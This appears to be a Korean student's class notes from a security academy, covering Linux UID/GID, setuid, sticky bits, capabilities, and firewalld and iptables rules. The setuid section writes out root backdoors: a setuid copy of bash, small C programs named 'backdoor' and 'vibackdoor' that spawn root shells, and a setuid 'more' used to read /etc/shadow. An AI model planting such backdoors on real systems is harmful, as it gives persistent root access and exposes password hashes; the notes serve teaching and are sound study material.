정보보안아카데미

#20

이야기prog 2025. 8. 26. 14:18
반응형

UID, GID

RealUID, RealGID : 계정이 누구인가를 식별하는 UID, GID

EffectiveUID, EffectiveGID : 어떤 권한을 가진지를 식별하는 UID, GID

 

Setuid가 설정된 파일을 실행 시, RealUID는 실행자 그대로지만, Effective UID가 일시적으로 파일의 소유자의 권한으로 실행된다.

보안성은 좋지 않을 수 있지만 편의성을 위해서 사용됨.

 

setuid가 적용된 파일안에서 bash쉘을 실행 시 루트권한으로 실행가능

 

Sticky bit - 디렉토리에 적용할 수 있음 보(파일의 소유자만 삭제가능)

 

cp /bin/bash /home/test/bash
chmod 4755 /home/test/bash

vi backdoor.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
	setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}

gcc -o backdoor backdoor.c

chmod 4755 backdoor

 

 

 

 

#/bin/more에 setuid를 설정 시, 권한이없는 파일도 읽을 수 있음

chmod 4755 /bin/more

su test

more /etc/shadow


vi vibackdoor.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main()
{
	setuid(0);
    setgid(0);
    system("/usr/bin/vi");
	return 0;
}

gcc -o vibackdoor vibackdoor.c

chmod 4755 vibackdoor

#vi편집기에서 shell 실행 가능
:!/bin/bash

 

setcap: 프로그램에 특정 권한을 부여하기 위해서 사용됨

ex)

touch /usr/local/bin/myapp

setcap cap_net_bind_service=+ep(ep(effective permit), i도 있는데 inherit 권한 상속) /usr/local/bin/myapp  

:1024번까지의 포트를 바인딩 하는 서비스를 허용하고 사용가능하게 하겠다.

(cap_chown, cap_kill 등 여러개 있음)

 

 

getcap: 프로그램에 권한을 확인하기 위해서 사용됨

getcap /usr/local/bin/myapp



방화벽 설정

zone파일 확인, zone conf, 

cat /usr/lib/firewalld/zones/public.xml



firewall-cmd --get-active-zones

firewall-cmd --get-default-zone



firewall-cmd --set-default-zone=home # default zone 변경



firewall-cmd --add-interface=enp0s3 --zone=public # zone에 interface할당

firewall-cmd --change-interface=enp0s3 --zone=public # zone에 interface 변경



firewall-cmd --permanent --add-port={3306,4567,4568,4444}/tcp #임의의 port (연속적이지 않으면 {,}구분



firewall-cmd --zone=public --add-source=192.168.16.0/24 --permanent # 192.168.16.0/24 대역에서 들어온 패킷 허용



firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="192.168.16.100" reject" # ipv4에 192.168.16.100 거부



firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="192.168.16.200" port protocol="tcp" port ="80" accept" # 192.168.16.200 출발지 ipv4 tcp 80번포트로 접근 허용



firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="192.168.16.150" port protocol="tcp" port="443" log prefix="intrusion_attempt" level="info" accept" # 출발지 192.168.16.150 tcp 443번으로 들어오는 패킷을 허용하나, 탐지가 되면 info level수준에서 로그 기록



#port protocol / port 대신에 service name=""해도 됨

 

 

firewalld의 rich-rule

 

 

Iptables: 리눅스 방화벽의 일종

 

 

dnf install -y iptables-services iptables-utils

iptables -L # List
iptables -F # 내용 초기화
iptables -X # 비어있는 체인 삭제
iptables -t nat -F # type NAT 내용 초기화 
iptables -t nat -X # type NAT 체인 삭제
iptables -P INPUT DROP # 기본정책 DROP으로 변경

#살펴보면 INPUT FORWARD OUTPUT 이 있는데 각각 
# INPUT 패킷 들어옴 OUTPUT 패킷 나감 FORWARD 패킷 경유

#iptables의 제어 옵션 -A(append)[가장 밑에 추가] -I(insert) -R(replace) -D(delete) -N(new)[새로운 체인] -P(policy) -L(List) -X(비어있는 체인 삭제) -E(체인 이름 변경)  
#ex) iptables -A INPUT -s(source) 192.168.16.9 --sport any -p tcp --dport 80 -j DROP

 

iptables이 kernel단에 Netfilter를 사용함 -> Packet-Filtering Hook 

 

 

반응형

'정보보안아카데미' 카테고리의 다른 글

#21  (0) 2025.08.29
#19  (2) 2025.08.26
#18  (3) 2025.08.22
#17  (0) 2025.08.20
#16  (0) 2025.08.20